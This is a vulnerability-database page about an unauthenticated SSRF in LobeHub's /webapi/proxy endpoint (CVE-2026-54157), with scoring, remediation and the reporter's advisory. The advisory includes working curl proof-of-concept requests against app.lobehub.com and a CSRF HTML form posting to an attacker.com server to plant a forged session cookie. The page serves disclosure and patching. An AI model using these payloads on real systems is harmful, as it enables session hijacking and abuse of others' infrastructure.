Skip to main content

LobeHub EUVDEUVD-2026-38555

| CVE-2026-54157 CRITICAL
Server-Side Request Forgery (SSRF) (CWE-918)
2026-06-16 https://github.com/lobehub/lobehub GHSA-xmwj-c75x-6346
9.0
CVSS 3.1 · Vendor: https://github.com/lobehub/lobehub
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify exposed /webapi/proxy endpoint
  2. Delivery
    Host attacker-controlled URL with Set-Cookie
  3. Exploit
    Lure victim to CSRF page
  4. Install
    Browser POSTs URL to proxy
  5. C2
    Proxy fetches attacker server and reflects headers
  6. Execute
    Victim browser stores forged __session cookie on lobehub.com
  7. Impact
    Attacker rides fixated Clerk session post-login

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires only that the LobeHub instance expose the POST /webapi/proxy route in a vulnerable version (<= 2.1.56) and that the route reaches the internet - no authentication, no user account, no cookies, and no special configuration are required for the raw SSRF and Set-Cookie reflection (the reporter demonstrated this on the default-configured production app.lobehub.com with curl). The cookie-injection-to-session-fixation chain additionally requires (a) a victim to visit an attacker-controlled web page that auto-submits the CSRF form, and (b) the LobeHub deployment to use Clerk-style cookies (__session, __clerk_db_jwt, __client_uat) on a parent domain (e.g. lobehub.com) shared with the proxy host (app.lobehub.com). Self-hosted deployments that do not expose /webapi/proxy publicly or that already front-proxy block POSTs to it are not exploitable.

Impact

Real-world risk is high and the supplied CVSS 9.0 score understates one important dimension while overstating another. The vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H records PR:H, which is inconsistent with the description - the reporter demonstrates fully unauthenticated exploitation via curl with no cookies or tokens, so PR should realistically be PR:N. On the other hand, A:H is questionable: there is no evidence the SSRF causes service outage, only abuse of egress and infrastructure information disclosure. EPSS, KEV status, and SSVC decision values were not supplied in the input, but a working PoC is published in the GitHub Security Advisory and the endpoint is reachable on the production host app.lobehub.com, which favors prompt patching. There is no public exploit identified in CISA KEV at time of analysis, so this is publicly demonstrated rather than confirmed actively exploited in the wild.

Exploit ScenarioDerived

An attacker hosts a small HTML page that auto-submits a text/plain form to https://app.lobehub.com/webapi/proxy pointing at their controlled server, which replies with Set-Cookie: __session=KNOWN_VALUE; Domain=lobehub.com; Path=/; Secure; HttpOnly. When any victim visits the page, the proxy reflects the header and the victim's browser stores the attacker-chosen Clerk session cookie on lobehub.com; the attacker, holding the same session value, can ride the victim's subsequent login as a session-fixation attack. Working PoCs (curl SSRF, curl cookie reflection, and the CSRF HTML page) are published in the GHSA advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 1.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 16, 2026

Unauthenticated server-side request forgery in LobeHub's /webapi/proxy endpoint (versions <= 2.1.56) allows any remote attacker to proxy arbitrary HTTP requests through LobeHub's infrastructure and inject attacker-controlled Set-Cookie headers onto the lobehub.com domain. The flaw stems from the route handler omitting the checkAuth() wrapper that protects every other webapi route, enabling SSRF, infrastructure reconnaissance against Vercel internals, and a CSRF-to-session-fixation chain against Clerk auth cookies. Publicly available exploit code exists (working curl PoCs and a CSRF HTML PoC are included in the GitHub Security Advisory GHSA-xmwj-c75x-6346); no public exploit identified at time of analysis in CISA KEV.

RemediationAI

Upgrade @lobehub/lobehub to vendor-released patch version 2.1.57 or later, which adds the missing checkAuth() wrapper to src/app/(backend)/webapi/proxy/route.ts consistent with the other webapi routes; the advisory at https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346 is the authoritative reference. If patching cannot be performed immediately, block the POST /webapi/proxy endpoint at the edge (WAF, Vercel rewrite, or reverse proxy) since the reporter notes preview functionality could be handled client-side without server proxying - the trade-off is loss of any URL-preview feature relying on server-side fetch. As an additional hardening control, strip or filter upstream Set-Cookie headers in any remaining proxy paths to neutralize the cookie-injection-to-session-fixation chain, accepting that legitimate cookie passthrough (uncommon for preview proxies) would also be lost.

Affected VersionsENISA

lobehub < 2.1.57

Affected Packages

npm @lobehub/lobehub fix: 2.1.57
euvd lobehub fix: 2.1.57

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LobeHub is an open-source AI chat/agent framework built on Next.js and deployed on Vercel; authentication is handled via Clerk, which stores session state in __session, __clerk_db_jwt, and __client_uat cookies. The vulnerable file src/app/(backend)/webapi/proxy/route.ts exposes a POST handler that reads a URL from the request body and calls ssrfSafeFetch(), but unlike sibling routes under /webapi/chat/*, /webapi/models/*, and /webapi/create-image/* it does not wrap the handler in checkAuth(). Compounding this, the Next.js defaultMiddleware() short-circuits with NextResponse.next() for any path starting with /webapi/, so middleware-level auth is also bypassed. The root cause maps to CWE-918 (SSRF), and the cookie-injection variant additionally relies on the proxy transparently forwarding upstream Set-Cookie headers (stripping only Content-Encoding and Content-Length). The package identifier is pkg:npm/@lobehub/lobehub.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/lobehub/lobehub) PRIMARY 9.0 CRITICAL
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
vuln.today AI 9.3 CRITICAL

Network-reachable endpoint with no auth (PR:N, AV:N, AC:L); cookie injection across app.lobehub.com→lobehub.com is a scope change with high integrity impact, limited confidentiality via SSRF info leak, no availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N

Primary rating from Vendor (https://github.com/lobehub/lobehub).

CVSS VectorVendor: https://github.com/lobehub/lobehub

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
High

DescriptionCVE.org

Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com

Summary

The /webapi/proxy endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where /api/proxy was fixed by adding auth middleware. The /webapi/proxy route was never secured - it is the only webapi route missing the checkAuth() wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the lobehub.com domain through reflected Set-Cookie headers.

Vulnerability Details

Type: Server-Side Request Forgery (CWE-918) Affected Endpoint: POST /webapi/proxy Vulnerable File: src/app/(backend)/webapi/proxy/route.ts

The route handler reads a URL from the request body and passes it to ssrfSafeFetch() without calling checkAuth() first. Every other webapi route (/webapi/chat/*, /webapi/models/*, /webapi/create-image/*) wraps the handler in checkAuth(), but the proxy does not. The Next.js middleware also skips /webapi/ routes - defaultMiddleware() calls NextResponse.next() for any path starting with /webapi/, so neither the route handler nor the middleware performs authentication.

Steps to Reproduce

Fetch an external URL through the proxy (no auth, no cookies, no tokens):

curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/ip" \
  "https://app.lobehub.com/webapi/proxy"

<img width="1069" height="297" alt="image" src="https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18" />

Response:

json
{"origin": "3.14.141.44"}

This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.

Inject a cookie on the lobehub.com domain:

curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
  "https://app.lobehub.com/webapi/proxy"

The response headers include:

set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly

<img width="1215" height="340" alt="image" src="https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903" />

The proxy passes upstream response headers straight through (only stripping Content-Encoding and Content-Length). An attacker controls the upstream server, so they control which Set-Cookie headers are reflected. The __session and __clerk_db_jwt cookies are both injectable - these are the cookie names used by Clerk for authentication.

CSRF to cookie injection (no user interaction beyond visiting a page):

An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a Set-Cookie header, and the proxy reflects it. The victim's browser sets the cookie on lobehub.com because the response comes from app.lobehub.com.

html
<form id=f action="https://app.lobehub.com/webapi/proxy"
  method=POST enctype="text/plain">
  <input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>

The attacker's server at /inject?x= responds with Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly. The proxy reflects this header and the victim's browser stores the cookie.

Impact

The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:

An attacker can inject authentication cookies (__session, __clerk_db_jwt, __client_uat) on the lobehub.com domain by chaining CSRF with the proxy's reflected Set-Cookie headers. If LobeHub uses Clerk for session management, this is a session fixation vector - the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.

The proxy also leaks Vercel infrastructure details. The Traceparent and X-Vercel-Id headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.

The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.

Recommended Fix

Add checkAuth() to the proxy route, matching every other webapi route:

diff
- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {

If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.

Executive ViewAI

Why It Matters

LobeHub versions 2.1.56 and earlier contain an unauthenticated vulnerability enabling remote attackers to intercept user sessions and compromise Clerk authentication cookies without valid credentials, directly threatening account security across your deployment. Publicly available exploit code exists. Any organization running LobeHub faces immediate risk of large-scale unauthorized access to user accounts.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) disable or restrict public access to /webapi/proxy endpoint through network segmentation or WAF rules; (2) enable comprehensive logging and alerting on Clerk authentication endpoints for suspicious session or cookie modifications; (3) implement rate-limiting on the proxy endpoint to reduce attack surface; (4) maintain vigilant monitoring of LobeHub advisories and prepare immediate upgrade workflow for patch deployment.

Threat Intelligence Overview

EPSS Score
1.8%
Top 25% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 1.8%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

67
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +45
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy